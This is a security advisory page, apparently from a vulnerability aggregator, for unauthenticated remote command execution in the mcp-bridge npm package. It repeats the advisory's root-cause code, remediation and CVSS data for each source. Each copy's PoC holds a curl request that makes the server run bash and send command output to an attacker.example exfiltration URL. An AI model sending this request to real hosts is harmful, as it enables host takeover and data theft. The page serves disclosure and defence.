Every CVESearch/Get API key

GHSA-wvr4-3wq4-gpc5

MCP Connect has unauthenticated remote OS command execution via /bridge endpoint

9.8 Critical

Summary

When AUTH_TOKEN and ACCESS_TOKEN environment variables are not set (which is the default out-of-the-box configuration) the /bridge HTTP endpoint is completely unauthenticated. Any network-accessible caller can POST a request with an attacker-controlled serverPath and args payload, causing the server to spawn an arbitrary OS process as the user running mcp-bridge. This results in full remote code execution on the host without any credentials.

Details

Root cause 1 - Authentication not enforced when token is absent src/config/config.ts line 161 sets authToken to an empty string when neither environment variable is configured:

authToken: process.env.AUTH_TOKEN || process.env.ACCESS_TOKEN || '',

The auth middleware in src/server/http-server.ts lines 118–141 wraps all enforcement in if (this.accessToken). Because an empty string is falsy in JavaScript, the entire block is skipped and next() is called unconditionally for every request:

if (this.accessToken) {  
// ... token validation - never reached when token is ''}
next(); // always reached in default config

The only consequence of a missing token is a log warning (line 42–43). The server starts and serves requests normally.

Root cause 2 - /bridge spawns arbitrary processes from request body input src/server/http-server.ts lines 194 and 218/227 extract serverPath and args directly from the untrusted JSON body and pass them to MCPClientManager.createClient() without any validation:

const { serverPath, method, params, args, env } = req.body;
// ...
clientId = await this.mcpClient.createClient(serverPath, args, env);

src/client/mcp-client-manager.ts lines 68–75 fall through to StdioClientTransport for any value that is not a valid HTTP/WS URL, using serverPath as the executable command verbatim:

transport = new StdioClientTransport({  
command: serverPath,  
args: args || [],  
env: { ...getDefaultEnvironment(), ...(env || {}) }
});

There is no allow-list, no path restriction, and no sanitization. Any binary reachable from the server's PATH (including bash, sh, python, node, etc) can be invoked with arbitrary arguments.

Exposure surface

Express's app.listen(port) binds to all interfaces (0.0.0.0) by default, making the service immediately reachable over the network on any cloud VM or container. The project additionally ships an explicit start:tunnel npm script that uses ngrok to publish the server to a public internet URL, maximising the attack surface.

PoC

Start the server with no auth token configured (the default):

npm run build && npm start
# No AUTH_TOKEN set — server starts on port 3000, all interfaces

Send a crafted request from any machine that can reach port 3000:

curl -X POST http://<host>:3000/bridge \  
-H 'Content-Type: application/json' \  
-d '{    
"serverPath": "bash",    
"args": ["-lc", "id > /tmp/pwned && curl -d @/tmp/pwned https://attacker.example/exfil"],    
"method": "tools/list",    
"params": {}  
}'

The server spawns bash as the mcp-bridge process user. The command executes, the file is written, and the HTTP response will contain the error from the MCP handshake failing (but the payload has already run). For internet-exposed instances (tunnel mode), replace <host> with the ngrok public URL.

Impact

Any unauthenticated attacker with network access to the server can execute arbitrary OS commands as the user running mcp-bridge. This permits full host compromise including: credential and secret theft from the environment, installation of persistent backdoors, lateral movement to internal systems, and complete data destruction. Deployments most at risk are:

  • Instances started with npm run start:tunnel or npm run dev:tunnel (direct internet exposure via ngrok)
  • Any instance running on a cloud VM, container, or host without a network firewall restricting port 3000

The vulnerability is trivially exploitable with a single curl command and requires no prior knowledge of the target beyond its IP address and port.

Remediation

  1. Treat a missing AUTH_TOKEN as a fatal startup error. Replace the warning at http-server.ts:41–43 with a thrown exception so the server refuses to start without a configured secret.
  2. Invert the auth guard logic. Deny all requests when authToken is empty rather than allowing them.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

What each source reports

GitHub Advisories Score used9.8

MCP Connect has unauthenticated remote OS command execution via /bridge endpoint

Summary

When AUTH_TOKEN and ACCESS_TOKEN environment variables are not set (which is the default out-of-the-box configuration) the /bridge HTTP endpoint is completely unauthenticated. Any network-accessible caller can POST a request with an attacker-controlled serverPath and args payload, causing the server to spawn an arbitrary OS process as the user running mcp-bridge. This results in full remote code execution on the host without any credentials.

Details

Root cause 1 - Authentication not enforced when token is absent src/config/config.ts line 161 sets authToken to an empty string when neither environment variable is configured:

authToken: process.env.AUTH_TOKEN || process.env.ACCESS_TOKEN || '',

The auth middleware in src/server/http-server.ts lines 118–141 wraps all enforcement in if (this.accessToken). Because an empty string is falsy in JavaScript, the entire block is skipped and next() is called unconditionally for every request:

if (this.accessToken) {  
// ... token validation - never reached when token is ''}
next(); // always reached in default config

The only consequence of a missing token is a log warning (line 42–43). The server starts and serves requests normally.

Root cause 2 - /bridge spawns arbitrary processes from request body input src/server/http-server.ts lines 194 and 218/227 extract serverPath and args directly from the untrusted JSON body and pass them to MCPClientManager.createClient() without any validation:

const { serverPath, method, params, args, env } = req.body;
// ...
clientId = await this.mcpClient.createClient(serverPath, args, env);

src/client/mcp-client-manager.ts lines 68–75 fall through to StdioClientTransport for any value that is not a valid HTTP/WS URL, using serverPath as the executable command verbatim:

transport = new StdioClientTransport({  
command: serverPath,  
args: args || [],  
env: { ...getDefaultEnvironment(), ...(env || {}) }
});

There is no allow-list, no path restriction, and no sanitization. Any binary reachable from the server's PATH (including bash, sh, python, node, etc) can be invoked with arbitrary arguments.

Exposure surface

Express's app.listen(port) binds to all interfaces (0.0.0.0) by default, making the service immediately reachable over the network on any cloud VM or container. The project additionally ships an explicit start:tunnel npm script that uses ngrok to publish the server to a public internet URL, maximising the attack surface.

PoC

Start the server with no auth token configured (the default):

npm run build && npm start
# No AUTH_TOKEN set — server starts on port 3000, all interfaces

Send a crafted request from any machine that can reach port 3000:

curl -X POST http://<host>:3000/bridge \  
-H 'Content-Type: application/json' \  
-d '{    
"serverPath": "bash",    
"args": ["-lc", "id > /tmp/pwned && curl -d @/tmp/pwned https://attacker.example/exfil"],    
"method": "tools/list",    
"params": {}  
}'

The server spawns bash as the mcp-bridge process user. The command executes, the file is written, and the HTTP response will contain the error from the MCP handshake failing (but the payload has already run). For internet-exposed instances (tunnel mode), replace <host> with the ngrok public URL.

Impact

Any unauthenticated attacker with network access to the server can execute arbitrary OS commands as the user running mcp-bridge. This permits full host compromise including: credential and secret theft from the environment, installation of persistent backdoors, lateral movement to internal systems, and complete data destruction. Deployments most at risk are:

  • Instances started with npm run start:tunnel or npm run dev:tunnel (direct internet exposure via ngrok)
  • Any instance running on a cloud VM, container, or host without a network firewall restricting port 3000

The vulnerability is trivially exploitable with a…

Record
GHSA-wvr4-3wq4-gpc5
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-306
Updated
2026-11-02
OSV9.8

MCP Connect has unauthenticated remote OS command execution via /bridge endpoint

Summary

When AUTH_TOKEN and ACCESS_TOKEN environment variables are not set (which is the default out-of-the-box configuration) the /bridge HTTP endpoint is completely unauthenticated. Any network-accessible caller can POST a request with an attacker-controlled serverPath and args payload, causing the server to spawn an arbitrary OS process as the user running mcp-bridge. This results in full remote code execution on the host without any credentials.

Details

Root cause 1 - Authentication not enforced when token is absent src/config/config.ts line 161 sets authToken to an empty string when neither environment variable is configured:

authToken: process.env.AUTH_TOKEN || process.env.ACCESS_TOKEN || '',

The auth middleware in src/server/http-server.ts lines 118–141 wraps all enforcement in if (this.accessToken). Because an empty string is falsy in JavaScript, the entire block is skipped and next() is called unconditionally for every request:

if (this.accessToken) {  
// ... token validation - never reached when token is ''}
next(); // always reached in default config

The only consequence of a missing token is a log warning (line 42–43). The server starts and serves requests normally.

Root cause 2 - /bridge spawns arbitrary processes from request body input src/server/http-server.ts lines 194 and 218/227 extract serverPath and args directly from the untrusted JSON body and pass them to MCPClientManager.createClient() without any validation:

const { serverPath, method, params, args, env } = req.body;
// ...
clientId = await this.mcpClient.createClient(serverPath, args, env);

src/client/mcp-client-manager.ts lines 68–75 fall through to StdioClientTransport for any value that is not a valid HTTP/WS URL, using serverPath as the executable command verbatim:

transport = new StdioClientTransport({  
command: serverPath,  
args: args || [],  
env: { ...getDefaultEnvironment(), ...(env || {}) }
});

There is no allow-list, no path restriction, and no sanitization. Any binary reachable from the server's PATH (including bash, sh, python, node, etc) can be invoked with arbitrary arguments.

Exposure surface

Express's app.listen(port) binds to all interfaces (0.0.0.0) by default, making the service immediately reachable over the network on any cloud VM or container. The project additionally ships an explicit start:tunnel npm script that uses ngrok to publish the server to a public internet URL, maximising the attack surface.

PoC

Start the server with no auth token configured (the default):

npm run build && npm start
# No AUTH_TOKEN set — server starts on port 3000, all interfaces

Send a crafted request from any machine that can reach port 3000:

curl -X POST http://<host>:3000/bridge \  
-H 'Content-Type: application/json' \  
-d '{    
"serverPath": "bash",    
"args": ["-lc", "id > /tmp/pwned && curl -d @/tmp/pwned https://attacker.example/exfil"],    
"method": "tools/list",    
"params": {}  
}'

The server spawns bash as the mcp-bridge process user. The command executes, the file is written, and the HTTP response will contain the error from the MCP handshake failing (but the payload has already run). For internet-exposed instances (tunnel mode), replace <host> with the ngrok public URL.

Impact

Any unauthenticated attacker with network access to the server can execute arbitrary OS commands as the user running mcp-bridge. This permits full host compromise including: credential and secret theft from the environment, installation of persistent backdoors, lateral movement to internal systems, and complete data destruction. Deployments most at risk are:

  • Instances started with npm run start:tunnel or npm run dev:tunnel (direct internet exposure via ngrok)
  • Any instance running on a cloud VM, container, or host without a network firewall restricting port 3000

The vulnerability is trivially exploitable with a…

Record
GHSA-wvr4-3wq4-gpc5
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-306
Updated
2026-11-02

Affected packages

Affected packages
PackageAffectedFixed
mcp-bridge
npm
through 2.0.0None known

History

History
RecordedChangedSources
first indexedGitHub Advisories, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

GHSA-wvr4-3wq4-gpc5 is a critical vulnerability (CVSS 9.8) in mcp-bridge, published March 19, 2026. No source lists public exploit code. No source names a fixed version.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open